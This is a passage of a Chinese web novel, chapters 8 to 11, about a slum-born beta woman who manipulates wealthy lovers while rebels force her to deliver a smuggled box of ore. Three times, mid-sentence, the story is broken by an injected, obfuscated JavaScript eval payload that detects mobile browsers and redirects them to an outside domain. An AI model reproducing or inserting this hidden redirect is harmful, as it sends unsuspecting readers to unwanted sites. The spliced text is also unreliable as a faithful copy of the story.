“够了!我说够了!你总是没完没了地让我回去,可你又算什么东西?你也只是个靠着家族荫蔽讨生活的废物!我和你可不一样!” 我很有小白脸的自觉,站在门口垂下脑袋假装自己没听见。 “什么?哈!”克斯蒂表情厌恶,将omega特有的娇蛮发挥得淋漓尽致,“你要是有胆子,你就尽管来啊!你这个胆小如鼠的懦夫,你根本就不是alpha!” 通讯器那头传来了某种东西被摔碎的声响,然后是怒不可遏的怒吼,“克斯蒂!你也不过是个omega!我是你的未婚夫,你就应该听我的!” 我把脑袋埋得更低了,并且打心底祈祷克斯蒂的未婚夫真是一个懦弱的人,最好离这里远远的。 我还没有真正地当上公司老板呢,可别来啊。一次性应付三个人还是有点吃力的。 电话挂断,克斯蒂满面怒容地站在办公桌前。 他的胸腔起起伏伏,显然还没有从刚才的情绪中脱离,就连看向我的眼神都带着一股子不耐烦。 看吧看吧,这群讨人厌的天龙人就是这样。心情好的时候对底层小牛马和颜悦色,心情不好的时候就会立刻拿小牛马开涮。 我沉默地走过去,为他泡了一杯红茶。试一试温度确认是凉的后就放在他的手边,然后被他毫不留情地打掉了。 茶水滚到我的手背上,我立刻装模作样地“嘶”一声,然后继续给他倒茶。 “他不该这样说你。”我开始胡说八道,“你是个很好的人,和你的性别没有关系。” 克斯蒂的怒容一顿,眼眸又开始闪烁着微光,“无用,你知道你在说什么吗?” “我知道。”我说道,“老板……克斯蒂,你就是很好的人。我不知道其他omega和alpha是什么性格,但你比我知道的很多人都善良很多。要我说的话……你简直不是被性别束缚的好人。” 8. 第 8 章 克斯蒂在听了我的话后简直容光焕发,嘴角的笑容扬起弧度,更是不自觉的用手指去缠绕头发。 我还能看见他有意识地把头发拨弄到一边,若隐若现地露出奶白的后脖颈。 “无用,你从哪听来的这些话?” “我自己想的。” “你不觉得,不同性别的人思考方式不一样吗?”克斯蒂又开始探究了。 他被盖着脖子竟然没有挣扎,反而是把身子往我的方向更贴近了,昂着脑袋要仔细看我的表情。 我当然如他所愿,低着脑袋任由他看。 “没什么不一样的,大家都是人。之所以思考方式不同,也不过是环境不同。”我发表了一番天下大同的言论,然后在对方还没来得及思考的时候立刻找补,“也因为这样,所以很多人都自以为是觉得什么都知道。” 克斯蒂又要认真思考了,但我不会给他机会的。 “但很少有人像你这样,你就是很好。你能看见我的窘迫,还赏识我的能力,你和大多数人都不一样。” 克斯蒂的笑容越来越灿烂,卷曲头发的手指向上攀岩,竟然覆盖住了我的手背。 他说了句莫名其妙的话,“无用,你如果是个alpha,那就更好了。” 我差点没把白眼翻过去。 行了行了,说那么多夸你的话,你就只知道a是吧? 我懂,你们这群天龙人是这样的,既要又要嘛。不让底层小牛马性别歧视,但你们最爱玩性别歧视了。 但我不一样,我才不会单独歧视某种性别。我平等歧视所有人,因为除了我所有人都是狗屎。 “克斯蒂……”我眼神暗淡一瞬,很快又恢复原状,“这样也挺好的,起码让我看清楚很多事情。” 刚刚说完,我看见克斯蒂挑起眉毛,然后抓起了我的手。 omega大概天生就是这块料,所以才让a争斗得狗血淋头。 我是个手艺人,吃饭的家伙被这样撩拨谁受得了啊,有饭不吃难道要饿死自己吗? 但我还是把手抽回来,郑重又语重心长地和克斯蒂说违心话:“克斯蒂,别这样。我不值得你这样做,我不能给你更好的。” “这又有什么关系?”克斯蒂毫不在意,捏起一缕白发扫我的手背。 关系那可大了!谁知道你未婚夫什么时候被你惹急眼了就跑过来? 到时候他一进公司大门就和我撞上,鼻子一闻就闻到了你的信息素,这让我怎么解释? 我就是个beta,我就蹭蹭没进去…… 然后我就死了! “不,克斯蒂,我的原则不允许。我尊重你,正如你尊重我。”我继续把他往外推,“而且我和……我做不出这种事。” “你是尊重我,还是尊重我的未婚夫?”克斯蒂蹙眉,又开始发脾气破口大骂,“你刚才还说我和其他人不一样!” 重点是这个嘛?重点是后面那一句! 平时那么爱揣摩人怎么到现在反而揣摩不出来了? 我无语,但还是按耐下心解释,“这和你的未婚夫没关系,是我自己的问题!” “克斯蒂,我做不到这样随意地对待你。你应该值得更好的,而不是我这个还要靠你提携的beta。在你彻底弄清楚之前……我都不会这样做的。”我甩出最后一句话,就愤愤不平地离开办公室。 好了好了,应付你的指标已经完成了。剩余的时间我还得思考怎么哄骗奥维拉。 可恨我不能人手分离,分工合作一边把奥维拉哄爽了,一边去换盒子。 哎!怎么beta就不能多长出一只手呢? 我懊恼着离开办公室,在走进电梯的那一刻起又挺直腰板。 真期待啊哈哈哈,我现在也是经理了! —— 克斯蒂目光始终黏着女人离开的身影,直至对方消失。 脖子还有些温热,他能感受到当时对方克制的举动和情不自禁的抚摸。 beta都是这样,冷得寡淡无味,就算把信息素释放出来也无动于衷不知道发生了什么。可他已经暗示到这个地步了,她依旧是选择用布遮盖。 想着对方欲言又止每次提起奥维拉时的表情,克斯蒂已经能将二人的关系猜测得七七八八。 哈,年纪上来就会这样。克斯蒂刻薄地想。 毕竟是个接近三十岁的beta,无法被丈夫标记,于是来到这个小地方勾搭人。但凡这对配偶的关系能好点,克斯蒂不相信其中的丈夫愿意让爱人远离。 占有欲强烈还好斗的alpha根本不会放任自己的配偶跑去那么远的地方。 克斯蒂笑得眉眼眯起来,在自己的通讯录里翻找,终于找到了某个号码,然后编辑了一条短信发送过去。 —— 我度过了来到贫民窟七年以来最爽的一天! 在员工食堂大口吃饭的我根本分不清塞进我嘴里的是蔬菜还是牛肉,反正就是吃吃吃。 新鲜食材制作的食物美味到就算奥维拉的丈夫和克斯蒂的未婚夫来到我面前我都无法察觉,哪怕他们一人一刀把我尸首分离,我的脑袋也会跟蟑螂一样往嘴里塞米粒。 果然,补充体力的才能叫饭。消耗体力的不叫饭,那叫工作! 到了晚上下班的时候,我斗志昂扬,思考该怎么找理由找奥维拉。 要把盒子换回来,我得先知道奥维拉把盒子放哪了。是放在警察局,还是被他带回了家。我总得知道,可我的人设又不能主动去问。 我砸吧嘴,回味美味食物的同时拿出老旧的通讯器上下翻找。 然后我又萎了。 可恶啊找不到办法!明天就是27日了,而我依旧毫无头绪。 我开始后悔答应阿丽办这件事,恨不得回到昨天给那个嘴快的我一巴掌! 白无用啊白无用,你怎么那么嘴快答应下来了呢?之前把锅甩出去的时候好好的,怎么又把这玩意往兜里踹? 我抓耳挠腮,冥思苦想。 三秒后我恢复如常,假装什么都没干,什么也没想。 反正只是口头答应而已,我就一定要干?阿丽那么有本事为什么不自己干,还要找我干? 这是她们组织内部出了沟通问题,和我可没关系。 于是我又开始心安理得地往家里走。 下一秒我就被人绑了关进小黑屋。 熟悉的粗重呼吸撒过来,我眼睛立马瞪大了,“喂喂喂!我还什么都没干呢!你又想做什么!” alpha男用一块黑布把我的眼睛挡住了,确保我看不见他的脸。 好吧我也不想看。 “明天,就给我去送盒子。”alpha男说道。 我一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775046|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乐呵了,“你同伴没跟你说她的身份?” “……你调查我们!”alpha男唰一下就把刀刃架我脖子上! “别别别,我招!”我吓得脖子往后缩,“我真的是第一个纯路人,我是无辜的!你不知道你同伴是谁,我又怎么会知道?我就是奇怪你们为啥不知道彼此身份啊!” alpha冷笑一声,“花言巧语,这些话你也只能偏偏那些愚蠢的走狗。” 是是是,骗不了你。 我嘴巴都要歪了。 但这暴躁男手里还握着刀呢,我只能屈辱附和,“是是是,你不是走狗,你是好狗。” “你想死么——” “饶命饶命!你不是好狗!你是好人行了吧!” 暴躁男终于满意了,可听呼吸声又不是很满意。 反正总归把刀子收了回去。 我眼前一片漆黑,无法观察此人的微表情来判断他是什么心思。 呼吸很重,听得出来伤势没怎么好,还有可能加重了,一副要死要活命不久矣地样子。 我挪一挪身子,双手被反绑后挣扎起来很困难,但也不是毫无办法。 alpha本来就傲慢自负,觉得我一个小小beta被他绑了就不会挣扎。 可笑,他根本不知道一个底层小牛马到底掌握多少技能! “那个,我能问一个问题吗?”我吞一口唾沫,斟酌开口,“一定要我送吗?难道就不能其他人?你可以和你的同伴打商量啊,或者你自己跑去送也可以。” 他不言。 我继续劝,“而且啊,是你们组织内部沟通不善出现了举报的问题。现在盒子在警督手里,我就算是他的情人,我也骗不出来啊。他要是发现了枪毙我怎么办?” “呵。”他嗤笑一声,“如果不是你没藏好,走狗们能搜查出来吗?” 我日你大爹!我怎么知道有人举报我啊?而且你那么厉害,怎么还在这喘气啊? 有本事你自己送! 我想要破口大骂,但脑子灵光一闪。 是啊,为什么这alpha男不自己送?又为什么一定是27日? 总不能他活不到27日吧?那天一副快死的模样也还能持枪威胁我,不见得啊。alpha在体质方面比牛还耐操呢。 所以alpha男也得隐藏身份,而且是重要的身份。 会不会有种可能,这个盒子就是alpha男凭着伪装身份得到的? 这样就说得通了。 因为他是监守自盗,所以要尽可能地排除自己的嫌疑。运送盒子的程序越复杂,经手的人越多,他的嫌疑也就越小。 为什么一定是27日?明天有什么大事要发生? 我一个机灵,透的!这群人不会是想要刺杀什么大人物吧! 不要啊我就是个小白脸!我只想好好吃软饭然后当上公司老板最后拿上天价分手费混吃等死一辈子啊! 想到这种可能,我又从心了。 “那个,这位先生。”我的语气从未如此恭敬,“我也没预料到事情会发展成这样。要不这样吧,我把盒子的位置问出来,你们自己去偷可以吗?你们组织办大事,我不配啊,我就是个软骨头beta,我不行的。” 事到如今我已经不在乎我的到底行不行了,就当我一秒钟手指残疾吧,反正我不想干! 9. 第 9 章 此alpha男不打算放过我,他还要刀我! “你只有两个选择。”alpha的刀子重新架我脖子上,语气阴森充满威胁。 我还闻到一股腥味,是他伤口裂开后未能处理而散发出来的。 “做不到!我说了不行就是不行!”这可是人命关天的大事!就算把我脑袋撂到地上去我也不行啊! 你们叛乱党爱怎么刺杀大人物刺杀总统我都懒得管,但你们一定要把我这个无辜人拉下水那就是不行! 想到这里,我梗着脖子难得硬气,“我不干!” 然而我难得的骨气并没有被此男称赞,反而让他破防大怒,一脚踹在凳子上把我踢翻在地! 脸着地的我猛然弹起来,趁机挣脱绳子冲声音的来源就是一拳! 以为奶奶当年出无人区是靠猜拳啊?我捅刀子的时候你个小白菜指不定还在翻垃圾桶呢! 一拳是实打实地揍到了alpha的脸上,将人击倒在地。 我迅速落下蒙眼的黑布,总算看清楚此人的脸。 等把人看清楚了,我高举在半空的拳头顺势拐了个目标打在他的肚子上。 “嗯哼!”他痛呼一声。 哇哦,不愧是alpha,无论是长相还是喘声都劲劲的。 那可就不能打脸了,得找其他地方补两拳。 于是我在他还没反应过来前又往他肚子上揍两拳。 他疼得冷汗直冒,本来就开裂的伤口在我的重击下彻底崩开,红色的温热液体迅速侵染他的衣物。 “你,你什么时候,挣脱的?”他一边抽冷气,捂住手上的肚子。另一边则是抬头问我。 小麦色的皮肤,瞪大的琥珀色眼睛,还有那一头棕色的茂密头发。再往下点,我还能看见他因为痛苦而剧烈抖动,被包裹在皮衣里的二位奶奶。 就是这个劲啊,再看下去我又要成矿工了。 “贫民窟里能安然长大到成年,还能获得公民身份的人,你以为是软柿子?”我见他没力气动了,于是席地而坐开始和他掰扯有的没的。 alpha不语,震耳欲聋的沉默声把我震撼了。 “你真没想过啊。”我大受震撼,并为这个alpha取一个除奥维拉的“神经病”和克斯蒂的“智障”后又一个外号——傻缺。 阿丽怎么回事啊,你们组织里的人怎么都没脑子似的?就派这玩意考验我? 他趴在地上喘息了好久,才慢腾腾坐直。大概是被我看见了脸于是自暴自弃,他就这样正对着我了。 “你去送。” “不送,而且你威胁不了我了。”我挺起腰杆子,“我给你掰扯,我已经把你脸看清楚了,你想好好隐瞒身份,那就得听我的话。” 他眉头一皱,又准备摸刀子,被我一句话止住动作。 “你把我杀了,警督追查起来第一个发现的就是你。” “呵。”他无能狂怒笑了一下。 我继续给他说道理,“你把我杀了你会暴露,我送盒子我就得吃子弹。不如这样,我们各退一步,你别杀我,我也不去送盒子。怎么样?是不是很公平?” alpha:“……废物!” 我透,这傻缺竟然不是真傻缺! 我用一种不敢置信地微妙眼神将他浑身上下扫了个遍,然后说:“我就是不送,那咋了?” 是,之前我是承诺要帮阿丽把盒子换回来。 但我为了小命立刻反悔了,又能怎么样? 讲信用讲义气那是活人才干的事,人都死了谁还管这管那啊? 贫民窟的穷人本来就没有公众威望这一概念,一手交钱一手交货才是常态。赊账之类的想都别想,饿死了都不可能赊账。 alpha奈何不了我,他又没能力去送,于是我们两人就这样僵持在小黑屋里。 良久,他突然抬起眼睛来看我,琥珀色的眼珠子像是忍受什么恶心不得了的事情。 他说:“你是不是很好色?” 我的五官立刻扭曲了,“你会不会说话的,我哪好色了?” “你不好色,你能上警督的车?” “我那是被迫的!”涉及到人设,我本能地为自己狡辩,“你都不知道,他拿我弟弟威胁我,要是不做他情人就让人把我读大学的弟弟开除了!” 不管了反正这人很有用,就拿来背锅吧。 情到浓时,我眼眶湿润,“我和他从小一起长大,在贫民窟里相依为命。我是个beta,就算读了书也没什么机会成功,不如把他送去读大学,我会还能指望他毕业后努力工作,把我带去克亚区。” 他满脸狐疑,“真的?” “还能有假吗?你在贫民窟里四处打听一下就知道了。”我回答。 哎嘿你要是打听了,我也能顺便把你的身份打听清楚。 “你……他真强迫你了?”他眉头拧起来,一副不怎么相信我花言巧语的样子。 “你相不相信随你。”我失魂落魄,“我不能死,我死了我还在读大学的弟弟怎么办?他大三了,实习要钱,住宿要钱,伙食费和人际交往也要钱。我死了他就只能喝西北风。” alpha又开始保持沉默。 这次过了许久,他才用小声的音量说:“原来是被迫的,不然我还能……” 我把耳朵竖起来,“还能怎么样?” 他的视线偏移了一瞬,转移话题说:“这个盒子是从无人区送出来的,五年的时间里只有这一次。” 我顿时慈眉善目起来,“你继续说。” 我等着他把更详细的事情说出来,可他反复上下碰撞嘴唇,就是不愿意多透露一个字。就算我把拳头挪到他的脸上,他也不愿意多说。 烦死了!你们这群谜语人都给我滚出世界! 气不过的我又照着他的肚子打了一拳。 他已经趴在地上奄奄一息了。看来绑我进小黑屋是他的极限。 “你要怎么样……才能送。”他断断续续喘着气。 这人怎么那么犟呢?一定要我送吗? 我蹲在他的面前,拧眉开始思考无人区的情况。 无人区只是一个称呼,其实里面的人很多,而且绝大多数是a和o,像我这样的b反而是少数。 大家都挤在漆黑狭窄的矿洞内,日复一日地凿壁挖矿,然后把这些矿石往地表上送。 我在无人区生活十六年了,从没有听过什么五年才有一次的大人物,也没打听出来这些矿石的具体作用。 因为太忙了,周围的人每天除了挖矿就是搞生物工程。把孩子生下来后养得起就一起挖矿,养不起就丢到垃圾场里自生自灭。 如果盒子里装的是从无人区里偷出来的矿石,为了不被海关发现而走贫民窟偷渡路线是最好的办法。 那个负责运送盒子的人也是从无人区里出来的?是里应外合? 我暗自咬牙。 透的!穷人本来就没多少获取信息的渠道,好不容易靠脑子想出来的东西却一个没对上。 什么刺杀大人物,压根就不是! 意识到我多次陷入信息闭塞带来的盲区后,我又开始焦虑。 我讨厌焦虑,也讨厌这种反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775047|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复无常的转折和变化,好像我就是个随时被人砍断脑子的蟑螂,在我还往嘴巴里塞米粒的时候身子就消失不见了。 我得送盒子!不为现在考虑,我也得为我的未来考虑! “我送。”我说道,把他扶起来,目光灼灼,“我答应你了,我就去送。但你们得确保我的安全,绝对不能让我出事!” 他不明白为什么刚才还拒绝的我现在又同意了,但还是松一口气。 “你叫什么……算了无所谓。”我有些焦急。 现在已经是傍晚了,距离27日指定时间只剩下短短的10个小时不到的时间,在此期间我要弄明白奥维拉到底把盒子放哪儿。 我甚至无暇思考阿丽有没有做后手,会不会已经去找奥维拉。 以阿丽的个性,极有可能直接刺杀奥维拉抢夺盒子。 离开小黑屋,我查看周围,发现正是西区。 alpha男也住在西区?不对,他的身份应该是无人区的监工之一,或者更高级别,否则做不到在贫民窟和无人区之间自由穿梭。 “透的!”我怒骂一声,让自己纷乱的脑袋清醒过来。 今天的信息太多了,我得好好处理。 不对!现在是去找奥维拉! 拿出通讯器,我的手指在奥维拉的聊天框内踌躇犹豫好几秒,也没思考好到底要找什么理由。 这个点奥维拉应该待在高级公寓里。我当然知道高级公寓在哪,我曾经被他以修水管的名义要求上门一次。 其实那天我就打算和奥维拉深入交流了,但他丈夫的一通电话及时打断我们。 我也是那天才知道他的丈夫是alpha,还是上行城的一位法官。 我最终还是决定先上门。 我庆幸我时刻为自己准备退路。 我先是联系了奥维拉,让他放我进入公寓。 当门打开看见奥维拉的第一眼,入目的就是他身穿着红色丝绸睡衣的模样。 “你能主动找我,我很高兴,无用。”红发的beta男性靠在门框边上,眼睛因为笑意弯起来。 他大大方方地展示自己,并不为自己的婚外情感到羞耻,反而越来越兴奋。 毕竟是个神经病,我怀疑alpha娶他纯粹是为了追求刺激。 我沉默地盯了他一会,然后上前一步捧住他的脸吻下去。 奥维拉被我的力气推进公寓,身后的门“砰”一下地关闭了。 倒在沙发上时,他的面容是迷茫的,瞳孔里清晰倒影出我的影子,我也得以看清楚自己此时的样子。 “无用,你看看现在的你,多可爱。”奥维拉摩挲我的眼角,温柔地揉搓那一小片皮肤。 我内心不知道为什么笑了一下。 哈哈哈,这个名字真是狗屎。好在我也不是真叫这个名字。 之后的事情当然是顺理成章。 沙发自然不是做的好地方,但我等不及,我得赶时间。 而奥维拉进入状态后就会不管不顾,甚至会为了寻求刺激去地势更高的地方。 “你……轻点。”背对着我的奥维拉脊背绷紧,流畅的曲线向下延伸,让我看见了第一次做时留下的咬痕。 那里有一颗鲜红色的痣,像是个任人采摘的果实。 我顺嘴就咬下去了。 “哈——”beta男性猛地颤抖一下,抓进桌角的手指用力过度到发白。 他又陷入恍惚中。 我松口后微微垂下头,用嘴唇一点点摩挲那块被我咬破皮的肌肤,用温柔的语气说:“奥维拉,我如你所愿。” 10. 第 10 章 奥维拉眼神失焦地看着前方。 过分的欢愉后,便是退潮后的凉意。 就这样安静地躺在桌面上好一会,奥维拉的瞳孔才重新聚焦。 他侧过身子看向身后的女人,发现她正在用一种复杂又迷茫的眼神注视自己。在两人视线相碰的那一瞬间,又被她以极快的速度隐藏起来。 “你有什么想对我说的吗?”奥维拉扬起笑容,湿润的唇呼出的气息还带着潮气。 “没有。”beta女性说道。 她显然不擅长撒谎,也不懂得撒谎的技巧。 在发现他的注视后,会不自觉且笨拙地移开视线,春燕尾般的眉毛蹙起,然后生硬地转移话题。 “你去洗漱吧,我收拾一下客厅。” 她有事隐瞒自己。奥维拉想道。 不过奥维拉不在乎。他但凡是个为她人着想的好人,21日那天就不会用枪和药威胁人上床,也不会用对方的弟弟威胁成为自己的情人。 所以奥维拉去浴室洗漱了留下beta女性在客厅内。 —— 我觉得奥维拉越来越神经病了。 做完后他看我的眼神有点恶心,虽然有我刻意引导的因素在,但我还是心里发毛。 咦惹,还是小心点吧。 等他进入浴室洗漱,我就随手拿起桌面的纸巾擦手,顺便用眼神扫视整个客厅思考哪里是他藏盒子的地方。 等把手指擦干净,我就借着收拾客厅的动作到处抠缝隙,就这样一路顺到了厨房。 当我抬起头的时候,我与一双熟悉的眼睛面面相觑。 阿丽以诡异的姿势趴在窗户外面,看样子还准备继续往里面爬。发现我后先是一愣,然后瞪着眼睛说:“你在啊。” 我们两人就这样以诡异的姿势安静对视长达三秒,我猛然上前挡住她! “我靠你怎么爬上来的!这里是八楼!八楼啊!” 阿丽面无表情,眼睛习惯性地眯起来,“我以为你反悔了,所以过来找。” 不愧是我七年的好友,对我的道德充满了信任。 这不是重点,重点是我绝对不能让这人爬进来! 我用手摁住她的脑袋往外推,“下去吧你!我说到做到,送就送!” “你行吗?”阿丽问。 “你这话问的,你看行吗?”我反问她,直接将她的脑袋往窗户外按。 然而alpha的身体素质比牛还牛,无论我怎么按,阿丽的右手都牢牢固定在窗台上,左手则是摸出了匕首,看样子是真的打算把奥维拉弄死! 我透的!你把奥维拉弄死了谁给我做后台?谁给我升职加薪?我要是想去克亚区谁给我批申请? 下一秒,阿丽的身子就矮下去了。 “无用,你在厨房做什么?”beta男性的声音在我身后响起。 我背后瞬时惊出冷汗,转过头时表情镇定地对他说:“有水吗?” 这人洗澡怎么那么快!不会光顾着洗外面没洗里面吧! 还是说贫民窟的水质无法让你满意不配洗里面? 奥维拉笑起来,“当然有。” 我们两人调换了位置,在我表面淡定实则胆战心惊的注视下,奥维拉来到窗台边用玻璃杯接了一杯水,然后背对窗台面向我。 他把玻璃杯递给我。 我抬手接过水杯。 指间触碰的短短时间,我的手背被人挠了一下。 我看向奥维拉的眼睛时,有片刻的头晕目眩。 别误会,我没有被神经病的美貌晃住眼睛,而是被阿丽举起来的匕首晃住了。 只见阿丽轻手轻脚爬出窗台,然后高高举起匕首对准奥维拉的脖子! 住手啊! 你们这群该死的alpha难道都不会动脑子嘛! nononono! 我拼命给阿丽使眼色,企图让她动用一下大脑思考利弊。 然而阿丽会错意思,眯起了眼睛对我露出胸有成竹的表情,用口型说:“我会一击毙命的。” 啊啊啊啊你信不信今天你把他弄死明天我这个姘头就会被送上处刑台啊! 知不知道一旦发生命案枕边人就会被列为第一嫌疑犯的含金量啊! 不行了来不及了! 我的心脏砰砰直跳,在阿丽即将落下匕首的那一刻,我心下一横! “啪嗒!” 盒子从外套口袋掉落,摔打在地面上。 奥维拉低下头看向地面,阿丽则是疑惑地停手看我。 我在奥维拉捡盒子的间隙对阿丽疯狂比手势。 蠢货!看我操作! 阿丽生锈的大脑终于选出了正确答案。她退回窗台后面,继续趴在八层楼高的外面鬼鬼祟祟观察。 奥维拉将盒子捡起来,摆在掌心里把玩。 确认了盒子与当初从我屋子内搜出来的盒子一模一样后,他嘴角的笑容明显扩大。 “无用,盒子为什么会出现在你的口袋里呢?” 我抿唇,发挥超高的演技,将迷茫纠结痛苦无助等多种复杂的感情演绎得入木三分。 对,来吧,尽管质问我! “我只是……想把它拿回来。”我低声说道。 “这是赃物,无用。”奥维拉靠近我,几乎与我脸贴脸。 刚刚洗漱完的他耳边还挂着红色的湿发,呼出的气息也带有明显的沐浴露气味。 “不是!”我像是自尊心又被他伤害了那样猛然转过头看奥维拉,“你明明知道,这不是赃物,这是我……” 我的话语戛然而止。 “你可以继续说下去,无用。”他的笑容灿烂,“我喜欢听。” 呐呐,这就是神经病啦。 “我把它放回去。”我忍无可忍地把盒子抢夺回来,然后将他推开往外走。 奥维拉又拽住了我,“交给我。” “不,这是我自己拿出来的,就让我放回去。”我的神情带有几分慌张。 奥维拉显然察觉到了,再次夺回盒子,“无用,赃物只有警督有权利处置。” 我无声与他对视,最后败下阵来。 就这样跟着他来到了客厅的壁炉边,然后看着他随意地用钳子把几块木头拨开。 哇哦,原来是藏在壁炉里了。 当奥维拉翻开夹层,看见里面完好无损的盒子时,明显惊讶了一下。 我就这样站在他身后,一副忍辱负重干坏事暴露后的痛苦和无助。 “哈哈哈哈哈!”奥维拉笑得肩膀发抖,“无用,你真的很可爱。” “你怎么想的?要把它调换出来?让我猜猜,这个新盒子里面装了什么东西?” 没什么东西,就是从隔壁邻居那白嫖过来的白纸。 让我花钱是万万不能的,那等于要我的命。 “给你的钱,你都用来买新的盒子了?”他继续问。 我还是不说话。 脑补就留给神经病吧。 真正的勇士就要勇于空手套白狼。 等神经病笑够了,他就把新盒子放进了夹层里。 不是?你两个盒子都要收走? 我迅速走过去把旧盒子拿出来。 其实两个盒子的重量明显不同,毕竟里面一个装着矿石一个装白纸。 我不能让奥维拉发现两者的差异,反正不能让他的手短时间内感受到两者的不同。 “奥维拉,我不会再过来了。”我第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775048|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' n次放下狠话,“以后也不会了。” “盒子……我会带走。” 这一次的奥维拉没有再阻止我,而我也飞快跑出公寓然后“砰”地将大门关上! 哦呼!盒子到手了!趁着神经病还没反应过来之前赶紧去东区码头! 到达公寓一楼后没多久,阿丽就跟着我一起跑出来。 她的脸上写满了困惑,“他是不是不聪明?” “你说什么?” 阿丽自己思考了好一会,然后自己笃定答案,“对,他就是不聪明。竟然给你换出来了。” “……算了你开心就好。”我心情复杂。 在交叉路口,阿丽又要拐走了。 我手快拉住她,问出我这几天最后的问题,“你们组织到底为什么不允许成员之间知晓真实身份?” 阿丽被我拉着一个踉跄,匕首差点剐我手臂上。 但她还是很认真地回答了我,“因为曾经有人背叛过。” “谁?为什么?” “不是我。”阿丽皱起眉,“是beta女性,就在二十年前。” “死了很多人,大家过了很久才缓过来,然后大家都不允许知道同伴身份了。” 敢情是被人背刺过所以各个当缩头乌龟是吧? 不过这和我没关系。 现在距离指定时间还剩下不到五个小时的时间。 我疯狂踩踏我的自行车,一路上风驰电掣驰骋沙场。 然而跑到一半我发现我还有一个问题没有问! 透他大爹的到底是哪一艘船的甲板啊! 于是我一只手控制车头,一只手发挥天赋技按动通讯器给阿丽发送信息。 该死的alpha别光顾着赶路啊给我看通讯器! 好歹把特征说出来啊! 就这样赶到了码头。 深夜十二点的码头人来人往,停靠的走私船只互相推搡,偶尔还能听见走私犯的脏话谩骂。 几个打黑工的工人扛着货物走上甲板,然后趁着走私犯不注意往货物堆里偷瞄。要是运气好的能顺下点值钱东西,运气不好的就被当场抓获然后暴打一顿。 我将自行车停靠在无人在意的阴暗小角落,然后摸着黑探头查看码头边停靠的船只。 大家都是在做违法生意,所以默契地没有点大灯,而是选择用昏暗的煤油灯支撑光线。 也正是因为如此,海面黑漆漆一片。 我看见好几个工人没看清路掉进了海里,然后又招惹走私犯的一阵谩骂。 到底是哪一艘船? 她们的船一定具有辨识度,否则组织成员无法辨认出来。其次不能太高调,毕竟是走私矿石这种大事,一旦被抓住那就是吃子弹的罪行。最后是对接成员具有一定的权利,这最后一个程序需要兜底。 大致思索一番后,我的目光锁定在某一艘即将靠岸船只。 我不能光明正大走过去,于是只能游过去。 当我跳入冰冷刺骨的海水里,心中疯狂唾骂阿丽和alpha男! 你们组织成员互相不认识,那要联系的时候是不是随机抓牛马?我就是那个被你们抓起来的倒霉蛋啊! 一边唾骂,我一边往目标船只游。 结果到了地方,我才发现船只后面还有船只,且符合我的预想。 而更让我想要唾骂的是这两艘船同时间打下一束光照在我的身上。 同时沐浴两束光的我痛苦闭眼。 “走私犯么?”左边的人皱起眉头,双手环胸高高在上地俯视我。 “跳海自杀?”右边的人惊呼出声,兴致勃勃靠着栏杆打量我。 我:…… 这大晚上的,闹得多尴尬啊。 11. 第 11 章 我现在有点慌张。 两艘船只的特大光束照过来的时候,被刺瞎的不仅有我的眼睛,还有岸边那些走私犯的眼睛。 他们唾骂一声,竟然不管不顾地弃船逃跑,脚步飞快! 我还能听见几个靠得近的走私犯的怒骂,“我靠!突击检查!” 东区码头虽然是走私圣地,但上头偶尔缺钱也会过来抓人,然后收大把的赎金。因为金额巨大,所以很多小走私犯们宁愿丢弃一批货物也不想被抓住。 呵呵,他们逃走了,我可逃不了。 漂浮在冷冰冰的海面,我就像个尸体般一动不动。 右边船只的人靠得更近了,笑容灿烂地靠在栏杆上搓手,然后说:“喂喂,你真是自杀啊?为什么啊?你得绝症了?你被甩了?还是怎么的?跟我说说呗?” 我说你大爸! 她嬉皮笑脸地抖腿,见我始终不说话,于是继续问:“那你还死不死啊?我捞你上来呗?” 这话说的,我还能真死了不成? 然后我就被她们打捞上来了,顺便看见了左边船只的人。 他长得很高挑,长衫长裤,还戴一副金丝眼镜,乍一看是个冷冰冰的alpha。 但我直觉哪里不对劲,却说不出究竟是哪不对劲。 beta女性见我的视线在对面徘徊,于是挤眉弄眼地用手捅我的腰,“对面那个你感兴趣?” 她说话的声音毫不掩饰,对面的alpha男直接皱起眉头,看向我和她的目光里明显带着厌恶和嫌弃。 哟哟哟,又是个天龙人。 我的手藏在湿漉漉的衣服口袋里,指甲抠了抠盒子的边缘,脑内思考这两人谁是真正的接头人。 是alpha男性?他看着安静沉稳,但性格狗屎不像是会干叛乱勾当的人。 那就是beta女性?可这人性格跳脱,说话间的行为艺术实在高调。 “说说吧,大晚上的你们出现在这里的目的是什么?。”alpha男性开口说道,金丝眼镜后的视线带着一丝讥讽,“总不会真是跳海自杀吧?” 